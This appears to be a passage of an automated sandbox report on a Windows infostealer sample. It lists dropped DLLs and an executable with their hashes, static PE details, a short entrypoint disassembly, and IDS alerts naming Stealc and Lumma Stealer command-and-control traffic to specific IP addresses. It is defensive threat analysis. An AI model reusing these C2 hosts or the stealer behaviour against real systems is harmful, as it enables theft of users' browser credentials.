Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	551424
Entropy (8bit):	7.723529670914476
Encrypted:	false
SSDEEP:	12288:ofmHj9OPDULypmp0/dPAOQxjiVQZ9n4CZpywJl9VOLO4S:oq9O9gCZTaiiZ9tXVOL
MD5:	8E704ACD1B0C26FDCFD0374D57FCB28E
SHA1:	157B61A24087521693C8ACA743D60E4C33CB803D
SHA-256:	6C7818A65F46711FBC89CD7B548829E98BE247FAB8B2C4766C85B64BC632E797
SHA-512:	B9248880D2B68A7A171F210CE0D9DB345C189C411C4946238ED840D0ED993563B413D66A1ED61357BFE699EBC62F9817C4390CFFD30067F7A357A5DB3BD63351
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU................PE..L......g...............).....b......Ro.......0....@.................................q4....@.....................................(.......................................................................@............0..,............................text............................... ..`.rdata..x....0......................@..@.data...............................@....rsrc................J..............@..@.reloc...............N..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\WER8A80.tmp.WERDataCollectionStatus.txt

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	4780
Entropy (8bit):	3.2513516864325416
Encrypted:	false
SSDEEP:	96:pwpIifRkXkkXSBkmaBuWEG0Qr0QA0QgP0QXK0QK0Qr28gJXlHPszeuzSzbxGQI5j:pKRllBkuIsjoeyOkNN
MD5:	076D83E88B5EB971794C447E711A66F4
SHA1:	9D6B98DCEE01BD595518A84FAA73EC4393255A0B
SHA-256:	DCF017EBE1A14FD9AC76A9257FE68BDADE9C1C88FACEE72906535E151FBE2B31
SHA-512:	B15DA7CB0A472EE10E3D6A9774C63D2604F00492CF8AD8CD4BE67831A07467B8D46ED8FDACFD209B6E68AC920672CB15A234F125A13BEE2672F33BD09B8705EB
Malicious:	false
Preview:	......S.n.a.p.s.h.o.t. .s.t.a.t.i.s.t.i.c.s.:.....-. .S.i.g.n.a.t.u.r.e. . . . . . . . . . . . . . . . .:. .P.S.S.D.......-. .F.l.a.g.s./.C.a.p.t.u.r.e.F.l.a.g.s. . . . . . . .:. .0.0.0.0.0.0.0.1./.d.0.0.0.3.9.f.f.......-. .A.u.x. .p.a.g.e.s. . . . . . . . . . . . . . . . .:. .1. .e.n.t.r.i.e.s. .l.o.n.g.......-. .V.A. .s.p.a.c.e. .s.t.r.e.a.m. . . . . . . . . . .:. .5.3.1.2.8. .b.y.t.e.s. .i.n. .s.i.z.e.......-. .H.a.n.d.l.e. .t.r.a.c.e. .s.t.r.e.a.m. . . . . . .:. .0. .b.y.t.e.s. .i.n. .s.i.z.e.......-. .H.a.n.d.l.e. .s.t.r.e.a.m. . . . . . . . . . . . .:. .3.9.3.2.4. .b.y.t.e.s. .i.n. .s.i.z.e.......-. .T.h.r.e.a.d.s. . . . . . . . . . . . . . . . . . .:. .9. .t.h.r.e.a.d.s.......-. .T.h.r.e.a.d. .s.t.r.e.a.m. . . . . . . . . . . . .:. .7.4.8.8. .b.y.t.e.s. .i.n. .s.i.z.e...........S.n.a.p.s.h.o.t. .p.e.r.f.o.r.m.a.n.c.e. .c.o.u.n.t.e.r.s.:.....-. .T.o.t.a.l.C.y.c.l.e.C.o.u.n.t. . . . . . . . . . .:. .3.1.2.6.1.0.5.2. .c.y.c.l.e.s.......-. .V.a.C.l.o.n.e.C.y.c.l.e.C.o.u.n.t. . . . .

C:\Users\user\AppData\Local\Temp\WERAB46.tmp.WERDataCollectionStatus.txt

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	4784
Entropy (8bit):	3.249074884649324
Encrypted:	false
SSDEEP:	96:pwpIiqkXkkXXkmaBuWEb0Q50Qa40Qgr0QXzO0QY80QkBrpgiXHMszeuzSzbxGQIV:pvlWkuuRWVoeyOkNV
MD5:	C154259510F3935CBB9370FD4F0F3EBD
SHA1:	55568A8B1AE527512B19E4711F103041E397C7DD
SHA-256:	F4DEF3D2EA34A81186E78813EE719A3E7DA7BF062D3B72F6F7470F0395D26A63
SHA-512:	531AE06FC1AC6FD018E5E633DDD72A5028CD5E5041A21121FCEA50AEADB3B236F9CF5212CA94B4DEFD475863A4E88E8F29ECD26A28122275F8FDE78EB5BE050F
Malicious:	false
Preview:	......S.n.a.p.s.h.o.t. .s.t.a.t.i.s.t.i.c.s.:.....-. .S.i.g.n.a.t.u.r.e. . . . . . . . . . . . . . . . .:. .P.S.S.D.......-. .F.l.a.g.s./.C.a.p.t.u.r.e.F.l.a.g.s. . . . . . . .:. .0.0.0.0.0.0.0.1./.d.0.0.0.3.9.f.f.......-. .A.u.x. .p.a.g.e.s. . . . . . . . . . . . . . . . .:. .1. .e.n.t.r.i.e.s. .l.o.n.g.......-. .V.A. .s.p.a.c.e. .s.t.r.e.a.m. . . . . . . . . . .:. .5.3.0.8.0. .b.y.t.e.s. .i.n. .s.i.z.e.......-. .H.a.n.d.l.e. .t.r.a.c.e. .s.t.r.e.a.m. . . . . . .:. .0. .b.y.t.e.s. .i.n. .s.i.z.e.......-. .H.a.n.d.l.e. .s.t.r.e.a.m. . . . . . . . . . . . .:. .3.9.7.7.0. .b.y.t.e.s. .i.n. .s.i.z.e.......-. .T.h.r.e.a.d.s. . . . . . . . . . . . . . . . . . .:. .9. .t.h.r.e.a.d.s.......-. .T.h.r.e.a.d. .s.t.r.e.a.m. . . . . . . . . . . . .:. .7.4.8.8. .b.y.t.e.s. .i.n. .s.i.z.e...........S.n.a.p.s.h.o.t. .p.e.r.f.o.r.m.a.n.c.e. .c.o.u.n.t.e.r.s.:.....-. .T.o.t.a.l.C.y.c.l.e.C.o.u.n.t. . . . . . . . . . .:. .3.1.3.3.2.0.7.2. .c.y.c.l.e.s.......-. .V.a.C.l.o.n.e.C.y.c.l.e.C.o.u.n.t. . . . .

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.424312437495784
Encrypted:	false
SSDEEP:	6144:1cifpi6ceLPL9skLmb0mKSWSPtaJG8nAgex285i2MMhA20X4WABlGuNN5+:Si58KSWIZBk2MM6AFBjo
MD5:	7C84D758B0052378C86479DA2CDA7A93
SHA1:	DFA59129B1D0E9A37B90A49239F2575159C7A7C8
SHA-256:	C2A468868EDE47FDC83A85571DB958406287791FDEF5372A9131DA2B5E3EE407
SHA-512:	B02FBE3205102643A1AB2BB454F7169F9DF8F0BA77856E1B8A406E5992407E059BC70B287775968083D4728D2B563A612593C0F164C8AE27200B8822E91D1C4E
Malicious:	false
Preview:	regfF...F....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtmB...................................................................................................................................................................................................................................................................................................................................................3...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.682098933441844
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	45Ywq5ad5H.exe
File size:	505'344 bytes
MD5:	b6abd0879ebc05d7be3038ed080cfcb4
SHA1:	9b19eda32e3d94ba9e3d116c22bd1309ac16968c
SHA256:	08fc29d1bcd3c1c9145a6cf9087ce892217c2d0312410d916dd8aa748a0479c6
SHA512:	cd1df458d9ad6aaf3dd4ffcfe9b04fbbfa18c32c14ae6daffa177a1eac95f5887779d46acc2070da17c7c5c2665df8e841037f0c5073a40272ab1d0cee062861
SSDEEP:	12288:7WR9sitPVqRp0i9UOZBbnvLvK6XyjCwB4S:7ditK0abnDvHijpC
TLSH:	22B4F114B5C1C072E97619314AF4DBB85A3E79700A669DEF67980F7E4F302C0DA229B7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU...............

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x406f52
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x67040A08 [Mon Oct 7 16:19:20 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d10af643340e1121562abe3e6bd5b0e1

Entrypoint Preview

Instruction
call 00007F52A4AE70D0h
jmp 00007F52A4AE663Fh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007F52A4AE67DBh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007F52A4AE67CCh
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007F52A4AE67CEh
add edx, 28h
cmp edx, esi
jne 00007F52A4AE67ACh
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007F52A4AE67BBh
push esi
call 00007F52A4AE73E4h
test eax, eax
je 00007F52A4AE67E2h
mov eax, dword ptr fs:[00000018h]
mov esi, 0047B344h
mov edx, dword ptr [eax+04h]
jmp 00007F52A4AE67C6h
cmp edx, eax
je 00007F52A4AE67D2h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007F52A4AE67B2h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007F52A4AE67C9h
mov byte ptr [0047B348h], 00000001h
call 00007F52A4AE6A7Ah
call 00007F52A4AE9997h
test al, al
jne 00007F52A4AE67C6h
xor al, al
pop ebp
ret
call 00007F52A4AF23F9h
test al, al
jne 00007F52A4AE67CCh
push 00000000h
call 00007F52A4AE999Eh
pop ecx
jmp 00007F52A4AE67ABh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0047B349h], 00000000h
je 00007F52A4AE67C6h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c6c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7c000	0x3d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7d000	0x1ad8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2abc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ab00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x210f0	0x21200	6c284ae15d2fb14fab11a2850ffe72b7	False	0.5865787146226416	data	6.669867926281194	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x9d78	0x9e00	ce4a9aa919e5a261312f7f3ffe140f80	False	0.4352007515822785	data	4.95948861814226	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x4ef70	0x4e200	c5f543d7eae160d24ba9457dd3fb6e0b	False	0.989934375	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.990332361250143	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7c000	0x3d8	0x400	5584c2fd2a321b3ff4d89d84727643be	False	0.4404296875	data	3.290569201128903	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7d000	0x1ad8	0x1c00	d9cfcdc6fe1fad012f718a3b0a20dd78	False	0.7269810267857143	data	6.392352184013749	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x7c058	0x380	data	English	United States	0.46205357142857145

Imports

DLL

Import

KERNEL32.dll

AttachConsole, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-07T18:43:09.623595+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:09.962506+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:10.584784+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	46.8.231.109	80	192.168.2.7	49699	TCP
2024-10-07T18:43:10.755998+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:10.768595+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	46.8.231.109	80	192.168.2.7	49699	TCP
2024-10-07T18:43:11.280611+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:11.452851+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:15.481270+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:16.346249+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:17.308173+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:18.096927+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:20.230677+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:20.800107+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	46.8.231.109	80	TCP
2024-10-07T18:43:23.416442+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49736	147.45.44.104	80	TCP
2024-10-07T18:43:26.013008+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49749	104.21.74.165	443	TCP
2024-10-07T18:43:26.013008+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49749	104.21.74.165	443	TCP
2024-10-07T18:43:26.784933+0200	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49760	188.114.96.3	443	TCP
2024-10-07T18:43:26.784933+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49760	188.114.96.3	443	TCP
2024-10-07T18:43:27.875236+0200	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49766	188.114.96.3	443	TCP
2024-10-07T18:43:27.875236+0200	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49766	188.114.96.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 7, 2024 18:43:04.350337982 CEST	49671	443	192.168.2.7	204.79.197.203
Oct 7, 2024 18:43:04.553481102 CEST	49674	443	192.168.2.7	104.98.116.138
Oct 7, 2024 18:43:04.553647995 CEST	49675	443	192.168.2.7	104.98.116.138
Oct 7, 2024 18:43:04.693984985 CEST	49672	443	192.168.2.7	104.98.116.138
Oct 7, 2024 18:43:08.370630980 CEST	49677	443	192.168.2.7	20.50.201.200
